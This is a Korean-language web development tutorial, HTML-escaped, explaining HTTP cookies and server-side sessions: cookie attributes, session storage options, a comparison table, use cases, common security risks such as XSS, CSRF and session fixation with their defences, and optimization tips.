&lt;p&gt;&lt;strong&gt;해결 방법:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;쿠키(Cookie)&lt;/strong&gt;: 클라이언트에 데이터 저장&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;세션(Session)&lt;/strong&gt;: 서버에 데이터 저장, 세션 ID를 쿠키로 전달&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;2. 쿠키(Cookie)란?&lt;/h2&gt;
&lt;h3&gt;&lt;strong&gt;쿠키의 정의&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;쿠키(Cookie)&lt;/strong&gt;는 서버가 클라이언트(브라우저)에 저장하는 작은 데이터 조각입니다. 브라우저는 이후 요청에 쿠키를 자동으로 포함하여 전송합니다.&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;쿠키의 주요 특징&lt;/strong&gt;&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;클라이언트에 저장&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;브라우저의 쿠키 저장소에 저장&lt;/li&gt;
&lt;li&gt;서버가 아닌 클라이언트 측에 데이터 보관&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;자동 전송&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;브라우저가 요청 시 자동으로 쿠키를 포함&lt;/li&gt;
&lt;li&gt;서버가 별도로 요청하지 않아도 전송됨&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;도메인별 관리&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;각 도메인별로 쿠키가 분리되어 저장&lt;/li&gt;
&lt;li&gt;example.com의 쿠키는 example.com으로만 전송&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;용량 제한&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;쿠키 하나당 최대 4KB&lt;/li&gt;
&lt;li&gt;도메인당 약 20개 정도의 쿠키 제한&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;&lt;strong&gt;쿠키의 구조&lt;/strong&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;Set-Cookie: name=value; Expires=날짜; Path=/; Domain=example.com; Secure; HttpOnly; SameSite=Strict&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;주요 속성:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;name=value&lt;/strong&gt;: 쿠키의 이름과 값&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Expires/Max-Age&lt;/strong&gt;: 쿠키 만료 시간&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Path&lt;/strong&gt;: 쿠키를 전송할 경로&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Domain&lt;/strong&gt;: 쿠키를 전송할 도메인&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Secure&lt;/strong&gt;: HTTPS에서만 전송&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;HttpOnly&lt;/strong&gt;: JavaScript 접근 불가&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SameSite&lt;/strong&gt;: CSRF 공격 방지&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;strong&gt;쿠키 설정 예시&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;서버에서 쿠키 설정:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-http&quot;&gt;HTTP/1.1 200 OK
Set-Cookie: sessionId=abc123; Expires=Wed, 21 Oct 2024 07:28:00 GMT; Path=/; HttpOnly; Secure
Set-Cookie: theme=dark; Max-Age=3600; Path=/&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;클라이언트가 쿠키 전송:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-http&quot;&gt;GET /profile HTTP/1.1
Host: example.com
Cookie: sessionId=abc123; theme=dark&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2&gt;3. 쿠키의 속성 상세 설명&lt;/h2&gt;
&lt;h3&gt;&lt;strong&gt;1. Expires / Max-Age&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;만료 시간 설정:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Expires:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Expires=Wed, 21 Oct 2024 07:28:00 GMT&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;절대 시간으로 만료 시점 지정&lt;/li&gt;
&lt;li&gt;만료되면 브라우저가 쿠키 삭제&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Max-Age:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Max-Age=3600&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;상대 시간으로 만료 시점 지정 (초 단위)&lt;/li&gt;
&lt;li&gt;3600초 = 1시간 후 만료&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;만료 시간 없음:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[Expires나 Max-Age 없음]&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;세션 쿠키 (Session Cookie)&lt;/li&gt;
&lt;li&gt;브라우저 종료 시 삭제&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;strong&gt;2. Path&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;쿠키를 전송할 경로 지정:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Path=/
Path=/admin
Path=/api&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;예시:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Path=/admin
→ /admin, /admin/users, /admin/settings 등에만 쿠키 전송
→ /home에는 쿠키 전송 안 함&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;&lt;strong&gt;3. Domain&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;쿠키를 전송할 도메인 지정:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Domain=example.com
Domain=.example.com  (서브도메인 포함)&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;예시:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Domain=.example.com
→ example.com, www.example.com, api.example.com 모두에 쿠키 전송&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;&lt;strong&gt;4. Secure&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;HTTPS에서만 쿠키 전송:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Secure&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;보안 효과:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;HTTP에서는 쿠키 전송 안 함&lt;/li&gt;
&lt;li&gt;HTTPS에서만 쿠키 전송&lt;/li&gt;
&lt;li&gt;네트워크에서 쿠키 탈취 방지&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;strong&gt;5. HttpOnly&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;JavaScript 접근 불가:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;HttpOnly&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;보안 효과:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;JavaScript의 &lt;code&gt;document.cookie&lt;/code&gt;로 접근 불가&lt;/li&gt;
&lt;li&gt;XSS(Cross-Site Scripting) 공격 방지&lt;/li&gt;
&lt;li&gt;세션 ID 같은 민감한 정보 보호&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;예시:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;// HttpOnly 쿠키는 접근 불가
document.cookie  // HttpOnly 쿠키는 보이지 않음&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;strong&gt;6. SameSite&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;CSRF 공격 방지:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SameSite=Strict    // 같은 사이트에서만 전송
SameSite=Lax       // 일부 외부 요청에서도 전송 (기본값)
SameSite=None      // 모든 요청에서 전송 (Secure 필수)&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;SameSite=Strict:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;example.com에서만 쿠키 전송
다른 사이트에서 example.com으로 요청 시 쿠키 전송 안 함&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;SameSite=Lax:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;GET 요청은 외부에서도 쿠키 전송
POST 요청은 같은 사이트에서만 쿠키 전송&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;SameSite=None:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;모든 요청에서 쿠키 전송
Secure 속성과 함께 사용해야 함&lt;/code&gt;&lt;/pre&gt;&lt;hr&gt;
&lt;h2&gt;4. 세션(Session)이란?&lt;/h2&gt;
&lt;h3&gt;&lt;strong&gt;세션의 정의&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;세션(Session)&lt;/strong&gt;은 서버에 사용자 정보를 저장하고, 클라이언트에는 세션 ID만 쿠키로 전달하는 방식입니다.&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;세션의 주요 특징&lt;/strong&gt;&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;서버에 데이터 저장&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;사용자 정보를 서버 메모리나 데이터베이스에 저장&lt;/li&gt;
&lt;li&gt;클라이언트에는 세션 ID만 전달&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;세션 ID를 쿠키로 전달&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;서버가 생성한 고유한 세션 ID&lt;/li&gt;
&lt;li&gt;쿠키에 세션 ID를 담아 클라이언트에 전달&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;보안성&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;실제 데이터는 서버에만 저장&lt;/li&gt;
&lt;li&gt;클라이언트는 세션 ID만 가지고 있음&lt;/li&gt;
&lt;li&gt;세션 ID가 탈취되어도 서버에서 무효화 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;서버 부하&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;서버 메모리나 DB에 세션 정보 저장&lt;/li&gt;
&lt;li&gt;세션 조회를 위한 추가 작업 필요&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;&lt;strong&gt;세션의 동작 원리&lt;/strong&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;1️⃣ 사용자가 로그인 요청
      ↓
2️⃣ 서버가 사용자 정보 확인
      ↓
3️⃣ 서버가 세션 생성 및 저장
   - 세션 ID 생성 (예: &amp;quot;abc123&amp;quot;)
   - 사용자 정보를 세션에 저장
   - 서버 메모리/DB에 세션 저장
      ↓
4️⃣ 서버가 세션 ID를 쿠키로 전달
   Set-Cookie: sessionId=abc123; HttpOnly; Secure
      ↓
5️⃣ 클라이언트가 이후 요청에 쿠키 자동 포함
   Cookie: sessionId=abc123
      ↓
6️⃣ 서버가 세션 ID로 세션 조회
   - 세션 ID로 사용자 정보 조회
   - 인증 상태 확인&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;&lt;strong&gt;세션 저장 위치&lt;/strong&gt;&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;서버 메모리 (In-Memory)&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;서버 메모리에 세션 저장
- 빠른 접근
- 서버 재시작 시 세션 손실
- 서버 확장 시 세션 공유 불가&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;데이터베이스&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;DB에 세션 저장
- 영구 저장
- 서버 확장 시 세션 공유 가능
- DB 조회 오버헤드&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Redis (권장)&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Redis에 세션 저장
- 빠른 접근 (메모리 기반)
- 서버 확장 시 세션 공유 가능
- 영구 저장 가능&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;5. 쿠키 vs 세션 비교&lt;/h2&gt;
&lt;h3&gt;&lt;strong&gt;핵심 차이점&lt;/strong&gt;&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th align=&quot;center&quot;&gt;구분&lt;/th&gt;
&lt;th align=&quot;center&quot;&gt;쿠키&lt;/th&gt;
&lt;th align=&quot;center&quot;&gt;세션&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;strong&gt;저장 위치&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;클라이언트 (브라우저)&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;서버 (메모리/DB/Redis)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;strong&gt;데이터 크기&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;제한적 (4KB)&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;제한 없음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;strong&gt;보안&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;상대적으로 낮음 (클라이언트에 저장)&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;높음 (서버에 저장)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;strong&gt;서버 부하&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;없음&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;있음 (세션 조회 필요)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;strong&gt;용도&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;간단한 설정, 추적&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;인증, 중요한 정보&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;strong&gt;만료 시간&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;클라이언트가 관리&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;서버가 관리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;strong&gt;JavaScript 접근&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;가능 (HttpOnly 없을 때)&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;불가능 (서버에만 존재)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;strong&gt;확장성&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;좋음 (서버 부하 없음)&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;제한적 (서버 메모리/DB 의존)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h3&gt;&lt;strong&gt;데이터 저장 위치 비교&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;쿠키:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;클라이언트                    서버
    |                         |
[쿠키 저장소]                 |
- sessionId=abc123           |
- theme=dark                 |
    |                         |
    |---- Cookie: sessionId=abc123 --&amp;gt;|
    |                         |&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;세션:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;클라이언트                    서버
    |                         |
    |                         | [세션 저장소]
    |                         | - abc123: {userId: 1, ...}
    |                         | - def456: {userId: 2, ...}
    |                         |
    |---- Cookie: sessionId=abc123 --&amp;gt;|
    |                         | [세션 조회]
    |                         | 세션 ID로 사용자 정보 조회&lt;/code&gt;&lt;/pre&gt;&lt;hr&gt;
&lt;h2&gt;6. 쿠키와 세션의 사용 사례&lt;/h2&gt;
&lt;h3&gt;&lt;strong&gt;쿠키를 사용하는 경우&lt;/strong&gt;&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;사용자 설정&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;- 언어 설정 (language=ko)
- 테마 설정 (theme=dark)
- 화면 크기 설정&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;장바구니 (간단한 경우)&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;- 상품 ID 목록
- 간단한 사용자 선호도&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;추적 (Tracking)&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;- 방문 횟수
- 마지막 방문 시간
- 광고 추적&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;세션 ID 저장&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;- 세션 ID를 쿠키에 저장
- 실제 데이터는 서버 세션에 저장&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;&lt;strong&gt;세션을 사용하는 경우&lt;/strong&gt;&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;로그인 인증&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;- 사용자 ID
- 권한 정보
- 로그인 상태&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;중요한 정보&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;- 개인정보
- 결제 정보
- 민감한 설정&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;임시 데이터&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;- 폼 데이터 임시 저장
- 다단계 프로세스 상태&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;7. 쿠키와 세션의 보안 고려사항&lt;/h2&gt;
&lt;h3&gt;&lt;strong&gt;쿠키의 보안 문제&lt;/strong&gt;&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;XSS 공격 (Cross-Site Scripting)&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;공격자가 악성 스크립트를 주입
→ JavaScript로 쿠키 탈취&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;해결:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;HttpOnly 속성 사용&lt;/li&gt;
&lt;li&gt;XSS 공격 방지 (입력 검증, 출력 인코딩)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;CSRF 공격 (Cross-Site Request Forgery)&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;공격자가 다른 사이트에서 요청
→ 쿠키가 자동으로 포함되어 전송&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;해결:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;SameSite 속성 사용&lt;/li&gt;
&lt;li&gt;CSRF 토큰 사용&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;쿠키 탈취&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;네트워크에서 쿠키 가로채기&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;해결:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Secure 속성 사용 (HTTPS만)&lt;/li&gt;
&lt;li&gt;HTTPS 사용&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;&lt;strong&gt;세션의 보안 문제&lt;/strong&gt;&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;세션 하이재킹 (Session Hijacking)&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;세션 ID 탈취
→ 공격자가 세션 ID로 인증 우회&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;해결:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;HTTPS 사용&lt;/li&gt;
&lt;li&gt;HttpOnly 쿠키 사용&lt;/li&gt;
&lt;li&gt;세션 ID 주기적 변경&lt;/li&gt;
&lt;li&gt;IP 주소 확인&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;세션 고정 공격 (Session Fixation)&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;공격자가 세션 ID를 미리 알고 있음
→ 사용자가 그 세션 ID로 로그인
→ 공격자가 세션 ID로 접근&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;해결:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;로그인 시 세션 ID 재생성&lt;/li&gt;
&lt;li&gt;권한 변경 시 세션 ID 재생성&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;세션 만료 관리&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;세션이 만료되지 않음
→ 장기간 유효한 세션&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;해결:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;적절한 세션 만료 시간 설정&lt;/li&gt;
&lt;li&gt;비활성 시간 기반 만료&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;8. 쿠키와 세션의 실제 동작 예시&lt;/h2&gt;
&lt;h3&gt;&lt;strong&gt;로그인 프로세스 (세션 사용)&lt;/strong&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;1. 사용자가 로그인 요청
   POST /login
   {
     &amp;quot;username&amp;quot;: &amp;quot;user1&amp;quot;,
     &amp;quot;password&amp;quot;: &amp;quot;password123&amp;quot;
   }

2. 서버가 인증 확인 후 세션 생성
   - 세션 ID 생성: &amp;quot;sess_abc123&amp;quot;
   - 세션에 저장: {userId: 1, username: &amp;quot;user1&amp;quot;, role: &amp;quot;user&amp;quot;}
   - 세션을 서버 메모리/DB에 저장

3. 서버가 세션 ID를 쿠키로 전송
   HTTP/1.1 200 OK
   Set-Cookie: sessionId=sess_abc123; HttpOnly; Secure; SameSite=Strict

4. 클라이언트가 이후 요청에 쿠키 포함
   GET /profile
   Cookie: sessionId=sess_abc123

5. 서버가 세션 조회
   - 세션 ID로 세션 조회
   - 사용자 정보 확인
   - 인증된 사용자로 처리&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;&lt;strong&gt;테마 설정 (쿠키 사용)&lt;/strong&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;1. 사용자가 테마 변경
   POST /settings/theme
   {
     &amp;quot;theme&amp;quot;: &amp;quot;dark&amp;quot;
   }

2. 서버가 쿠키 설정
   HTTP/1.1 200 OK
   Set-Cookie: theme=dark; Max-Age=31536000; Path=/

3. 클라이언트가 이후 요청에 쿠키 포함
   GET /home
   Cookie: theme=dark

4. 서버가 테마 정보 사용
   - 쿠키에서 theme 읽기
   - 다크 테마로 응답&lt;/code&gt;&lt;/pre&gt;&lt;hr&gt;
&lt;h2&gt;9. 쿠키와 세션의 최적화&lt;/h2&gt;
&lt;h3&gt;&lt;strong&gt;쿠키 최적화&lt;/strong&gt;&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;필요한 쿠키만 사용&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;불필요한 쿠키는 제거&lt;/li&gt;
&lt;li&gt;쿠키 크기 최소화&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;적절한 만료 시간 설정&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;영구 쿠키는 필요한 경우만&lt;/li&gt;
&lt;li&gt;세션 쿠키는 브라우저 종료 시 삭제&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;도메인과 경로 최적화&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;필요한 경로에만 쿠키 전송&lt;/li&gt;
&lt;li&gt;불필요한 도메인에 쿠키 전송 방지&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;&lt;strong&gt;세션 최적화&lt;/strong&gt;&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;세션 저장소 선택&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Redis 사용 (빠른 접근, 확장성)&lt;/li&gt;
&lt;li&gt;DB는 필요한 경우만&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;세션 만료 시간 설정&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;적절한 만료 시간 설정&lt;/li&gt;
&lt;li&gt;비활성 시간 기반 만료&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;세션 정리&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;만료된 세션 정기적 삭제&lt;/li&gt;
&lt;li&gt;메모리 누수 방지&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;요약&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;쿠키&lt;/strong&gt;는 클라이언트(브라우저)에 저장되는 작은 데이터 조각으로, 브라우저가 자동으로 요청에 포함하여 전송합니다. 용량 제한(4KB)이 있고, HttpOnly, Secure, SameSite 속성으로 보안을 강화할 수 있습니다.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;세션&lt;/strong&gt;은 서버에 사용자 정보를 저장하고, 클라이언트에는 세션 ID만 쿠키로 전달하는 방식입니다. 실제 데이터는 서버에 저장되어 보안성이 높지만, 서버 부하와 확장성 문제가 있을 수 있습니다.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;쿠키&lt;/strong&gt;는 간단한 설정, 추적에 사용하고, &lt;strong&gt;세션&lt;/strong&gt;은 로그인 인증, 중요한 정보 저장에 사용합니다. 세션 ID는 보통 쿠키에 저장하여 전달합니다.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;보안&lt;/strong&gt;: 쿠키는 HttpOnly, Secure, SameSite 속성을 사용하고, 세션은 HTTPS 사용, 세션 ID 재생성, 적절한 만료 시간 설정이 중요합니다.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
